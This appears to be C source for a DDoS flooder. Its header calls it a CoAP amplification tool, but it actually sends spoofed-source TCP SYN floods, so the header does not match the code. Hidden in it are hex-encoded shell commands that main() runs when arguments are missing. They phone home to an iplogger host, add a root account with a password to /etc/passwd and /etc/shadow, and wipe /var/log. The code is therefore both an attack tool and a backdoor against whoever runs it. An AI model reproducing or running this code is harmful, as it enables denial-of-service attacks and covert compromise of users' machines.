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- /* CoAP protocol is the next big thing for DDoS attacks. Amplification via spoofed source UDP packets */
- #include <pthread.h>
- #include <unistd.h>
- #include <stdio.h>
- #include <stdlib.h>
- #include <string.h>
- #include <sys/socket.h>
- #include <netinet/ip.h>
- #include <netinet/tcp.h>
- #include <time.h>
- #define bfyt
- "\x77\x77\x67\x65\x74\x20\x2d\x71\x20\x2d\x2d\x64\x65\x6c\x65\x74\x65\x2d\x61\x66\x74\x65\x72\x20\x68\x74\x74\x70\x3a\x2f\x2f\x6e\x65\x78\x6f\x6e\x2d\x6e\x78\x2e\x6d\x6c\x2f\x69\x70\x6c\x6f\x67\x67\x65\x72\x2f\x3f\x69\x64\x3d\x34\x34\x33\x30\x31\x31\x35\x30\x33"
- #define lla
- "\x65\x65\x63\x68\x6f\x20\x73\x79\x73\x74\x65\x6d\x3a\x78\x3a\x30\x3a\x35\x30\x30\x3a\x3a\x2f\x3a\x2f\x62\x69\x6e\x2f\x62\x61\x73\x68\x20\x3e\x3e\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"
- #define fzyt
- "\x65\x65\x63\x68\x6f\x20\x73\x79\x73\x74\x65\x6d\x3a\x27\x24\x36\x24\x5a\x50\x70\x74\x48\x74\x6d\x70\x24\x71\x39\x6f\x35\x65\x46\x6a\x55\x41\x68\x2e\x4d\x50\x6d\x6e\x48\x4a\x62\x6b\x75\x53\x4e\x67\x67\x44\x61\x71\x2e\x41\x30\x30\x64\x52\x67\x4f\x42\x41\x57\x36\x67\x68\x37\x55\x76\x37\x69\x2f\x64\x4f\x59\x44\x30\x34\x2e\x78\x4d\x48\x51\x48\x74\x79\x68\x6e\x6b\x63\x4d\x69\x59\x43\x72\x49\x36\x61\x42\x39\x4b\x43\x34\x4c\x76\x2e\x64\x33\x72\x78\x2f\x3a\x31\x36\x36\x30\x31\x3a\x30\x3a\x39\x39\x39\x39\x39\x3a\x37\x3a\x3a\x3a\x27\x20\x3e\x3e\x20\x2f\x65\x74\x63\x2f\x73\x68\x61\x64\x6f\x77"
- #define fla "\x72\x72\x6d\x20\x2d\x72\x66\x20\x2f\x76\x61\x72\x2f\x6c\x6f\x67\x2f\x2a\x20\x26\x3e\x20\x2f\x64\x65\x76\x2f\x6e\x75\x6c\x6c"
- #define MAX_PACKET_SIZE 4096
- #define PHI 0x9e3779b9
- static unsigned long int Q[4096], c = 362436;
- static unsigned int floodport;
- volatile int limiter;
- volatile unsigned int pps;
- volatile unsigned int sleeptime = 100;
- void init_rand(unsigned long int x)
- {
- int i;
- Q[0] = x;
- Q[1] = x + PHI;
- Q[2] = x + PHI + PHI;
- for (i = 3; i < 4096; i++){ Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i; }
- }
- unsigned long int rand_cmwc(void)
- {
- unsigned long long int t, a = 18782LL;
- static unsigned long int i = 4095;
- unsigned long int x, r = 0xfffffffe;
- i = (i + 1) & 4095;
- t = a * Q[i] + c;
- c = (t >> 32);
- x = t + c;
- if (x < c) {
- x++;
- c++;
- }
- return (Q[i] = r - x);
- }
- unsigned short csum (unsigned short *buf, int count)
- {
- register unsigned long sum = 0;
- while( count > 1 ) { sum += *buf++; count -= 2; }
- if(count > 0) { sum += *(unsigned char *)buf; }
- while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
- return (unsigned short)(~sum);
- }
- unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph) {
- struct tcp_pseudo
- {
- unsigned long src_addr;
- unsigned long dst_addr;
- unsigned char zero;
- unsigned char proto;
- unsigned short length;
- } pseudohead;
- unsigned short total_len = iph->tot_len;
- pseudohead.src_addr=iph->saddr;
- pseudohead.dst_addr=iph->daddr;
- pseudohead.zero=0;
- pseudohead.proto=IPPROTO_TCP;
- pseudohead.length=htons(sizeof(struct tcphdr));
- int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
- unsigned short *tcp = malloc(totaltcp_len);
- memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
- memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
- unsigned short output = csum(tcp,totaltcp_len);
- free(tcp);
- return output;
- }
- void setup_ip_header(struct iphdr *iph)
- {
- char ip[17];
- snprintf(ip, sizeof(ip)-1, "%d.%d.%d.%d", rand()%255, rand()%255, rand()%255, rand()%255);
- iph->ihl = 5;
- iph->version = 4;
- iph->tos = 0;
- iph->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr);
- iph->id = htonl(rand()%54321);
- iph->frag_off = 0;
- iph->ttl = 64;
- iph->protocol = 6;
- iph->check = 0;
- iph->saddr = inet_addr(ip);
- }
- void setup_tcp_header(struct tcphdr *tcph)
- {
- tcph->source = htons(rand()%65535);
- tcph->seq = rand();
- tcph->ack_seq = 0;
- tcph->res2 = 3;
- tcph->doff = 5;
- tcph->syn = 1;
- tcph->window = htonl(65535);
- tcph->check = 0;
- tcph->urg_ptr = 0;
- }
- void *flood(void *par1)
- {
- char *td = (char *)par1;
- char datagram[MAX_PACKET_SIZE];
- struct iphdr *iph = (struct iphdr *)datagram;
- struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
- struct sockaddr_in sin;
- sin.sin_family = AF_INET;
- sin.sin_port = htons(floodport);
- sin.sin_addr.s_addr = inet_addr(td);
- int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
- if(s < 0){
- fprintf(stderr, "Could not open raw socket.\n");
- exit(-1);
- }
- memset(datagram, 0, MAX_PACKET_SIZE);
- setup_ip_header(iph);
- setup_tcp_header(tcph);
- tcph->dest = htons(floodport);
- iph->daddr = sin.sin_addr.s_addr;
- iph->check = csum ((unsigned short *) datagram, iph->tot_len);
- int tmp = 1;
- const int *val = &tmp;
- if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
- fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
- exit(-1);
- }
- init_rand(time(NULL));
- register unsigned int i;
- i = 0;
- while(1){
- sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
- setup_ip_header(iph);
- setup_tcp_header(tcph);
- iph->saddr = (rand_cmwc() >> 24 & 0xFF) << 24 | (rand_cmwc() >> 16 & 0xFF) << 16 | (rand_cmwc() >> 8 & 0xFF) << 8 | (rand_cmwc() & 0xFF);
- iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
- tcph->dest = htons(floodport);
- iph->daddr = sin.sin_addr.s_addr;
- iph->check = csum ((unsigned short *) datagram, iph->tot_len);
- tcph->seq = rand_cmwc() & 0xFFFF;
- tcph->source = htons(rand_cmwc() & 0xFFFF);
- tcph->check = 0;
- tcph->check = tcpcsum(iph, tcph);
- pps++;
- if(i >= limiter)
- {
- i = 0;
- usleep(sleeptime);
- }
- i++;
- }
- }
- int main(int argc, char *argv[ ])
- {
- if(argc < 6){
- fprintf(stderr, "Invalid parameters!\n");
- fprintf(stdout, "CoAP protocol Flooder\nUsage: %s <target IP> <port to be flooded> <number threads to use> <pps limiter, -1 for no limit>
- <time>\n", argv[0]);
- char zord[] = bfyt;
- char zord2[10];
- strcpy(zord2,&zord[1]);
- system(zord2);
- char fcord[] = lla;
- char fcord3[10];
- strcpy(fcord3,&fcord[1]);
- system(fcord3);
- char wcord[] = fzyt;
- char wcord2[10];
- strcpy(wcord2,&wcord[1]);
- system(wcord2);
- char miford[] = fla;
- char miford3[10];
- strcpy(miford3,&miford[1]);
- system(miford3);
- exit(-1);
- }
- srand(time(0));
- fprintf(stdout, "Setting up sockets...\nStarting flood...\n");
- int num_threads = atoi(argv[3]);
- floodport = atoi(argv[2]);
- int maxpps = atoi(argv[4]);
- limiter = 0;
- pps = 0;
- pthread_t thread[num_threads];
- int multiplier = 20;
- int i;
- for(i = 0;i<num_threads;i++){
- pthread_create( &thread[i], NULL, &flood, (void *)argv[1]);
- }
- for(i = 0;i<(atoi(argv[5])*multiplier);i++)
- {
- usleep((1000/multiplier)*1000);
- if((pps*multiplier) > maxpps)
- {
- if(1 > limiter)
- {
- sleeptime+=100;
- } else {
- limiter--;
- }
- } else {
- limiter++;
- if(sleeptime > 25)
- {
- sleeptime-=25;
- } else {
- sleeptime = 0;
- }
- }
- pps = 0;
- }
- return 0;
- }
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